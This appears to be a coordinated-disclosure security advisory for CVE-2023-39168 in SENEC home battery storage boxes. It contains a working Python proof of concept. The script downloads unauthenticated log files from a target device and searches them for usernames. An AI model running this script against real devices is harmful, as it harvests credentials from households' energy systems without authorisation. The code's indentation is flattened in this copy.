EnBw SENEC Legacy Storage Box Information Disclosure

`Advisory ID: Ph0s-2023-002  
Product: EnBw - SENEC legacy storage box: V1-V3  
Manufacturer: SENEC - a part of EnBw  
Affected Version(s): Firmware: all (as of 2023-06-19)  
Tested Version(s): current  
Vulnerability Type: CWE-200: Exposure of Sensitive Information to an  
Unauthorized Actor  
  
  
Risk Level: CVSS v3.1 Vector:  
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)  
  
  
Manufacturer Risk Level Rating:  
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:T/RC:C  
Overall CVSS Score: 7.2  
  
  
Solution Status: Fixed  
Manufacturer Notification: 2023-06-05  
Public Disclosure: 2023-11-01  
CVE Reference: CVE-2023-39168  
Author of Advisory: Ph0s[4], R0ckE7  
  
  
********************************************************************************  
  
  
Overview:  
Foreword:  
This vulnerability was reported to the enbw-cert. we would like to  
thank enbw-cert for taking care of the vulns and patch the systems.  
we decided to publish when most of the reported vulns are patched  
to make sure nobody is harmed when 3rdparys exploit the mentioned vulns.  
  
  
  
  
About Senec:  
We are SENEC  
  
  
We have been the EnBW energy independence experts since 2018 – but we have  
put our heart and soul into guiding customers on the route to independence  
since SENEC was founded in 2009. Our passion lies in actively promoting the  
energy transition with innovative ideas and pioneering products. And,  
because we don’t do things by halves, our unwavering ambition is to create  
integrated solutions that enable you to enjoy the highest possible degree  
of independence and sustainability through self-generation of solar  
electricity.  
  
  
About SENEC Home:  
  
  
SENEC.Home: The smart electricity storage device for your home  
  
  
SENEC.Home is the heart of the your sustainable, affordable supply of solar  
electricity. The smart battery storage device stores excess electricity  
generated by your PV system so that you can use it when you need it – such as  
when your household’s energy consumption rises in the evening, or on rainy days  
when your PV system generates less power.  
  
  
********************************************************************************  
  
  
  
  
Vulnerability Details:  
  
  
As already stated in CVE-2023-39167, no authentication is required to access log  
information. Therefore, and due to the predictable URL scheme, it is possible  
for an attacker to download all existing log files to obtain the username.  
  
  
********************************************************************************  
  
  
Proof of Concept (PoC):  
  
  
The attack consists of the following steps:  
  
  
1. parse the script using this PoC Code to obtail the username:  
import argparse  
import datetime  
import os  
import requests  
  
  
  
  
def get_senec_logs(senec_ip, day_range, break_on_username):  
start_date = datetime.datetime.today()  
end_date = start_date - datetime.timedelta(days=day_range)  
delta = datetime.timedelta(days=1)  
  
  
while end_date < start_date:  
try:  
senec_url = f"http://{senec_ip}/log/{start_date.strftime('%Y')}/" \  
f"{start_date.strftime('%m')}/{start_date.strftime('%d')}.log"  
r = requests.get(senec_url)  
print(f"HTTP Status Code {r.status_code}: {senec_url}")  
  
  
if r.status_code != 200: break  
if r.headers["Content-Length"] == "0": break  
  
  
os.makedirs(os.path.dirname(senec_url.replace("http://", "")), exist_ok=True)  
with open(senec_url.replace("http://", ""), "wb") as senec_log_file:  
senec_log_file.write(r.content)  
offset = r.content.find(bytes("username:", "utf-8"))  
if offset != -1:  
print(f"Username found in {senec_log_file.name} at offset {offset}")  
if break_on_username: break  
except requests.ConnectionError:  
print("Failed to connect to SENEC.Inverter")  
break  
except Exception as e:  
print(f"An unhandled exception occurred:\n{e}")  
break  
start_date -= delta  
  
  
  
  
if name == 'main':  
parser = argparse.ArgumentParser(description="Download SENEC.Inverter log files")  
parser.add_argument("ip", type=str, help="IP address of the target SENEC.Inverter")  
parser.add_argument("-b", "--break-on-username", action="store_true", default=False, required=False,  
help="stop downloading once a username is found")  
parser.add_argument("-d", "--day-range", type=int, action="store", default=365 * 20, required=False,  
help="number of days to download log files in reverse order starting today")  
args = parser.parse_args()  
get_senec_logs(args.ip, args.day_range, args.break_on_username)  
  
  
  
  
  
  
  
  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
Solution:  
Patched by Manufacturer  
(Rolled out until September 11, 2023)  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
Disclosure Timeline:  
  
  
2022-06-01: Vulnerability discovered  
2023-06-05: Vulnerability reported to manufacturer  
2023-09-11: Patch rollout by manufacturer to affected devices  
2023-11-01: Public disclosure of vulnerability  
  
  
  
  
************************************************************************  
  
  
Researcher:  
Ph0s[4], R0ckE7  
  
  
************************************************************************  
  
  
Disclaimer:  
  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible.  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
Copyright:  
  
  
Creative Commons - Attribution (by) - Version 4.0  
URL: https://creativecommons.org/licenses/by/4.0/deed.en  
`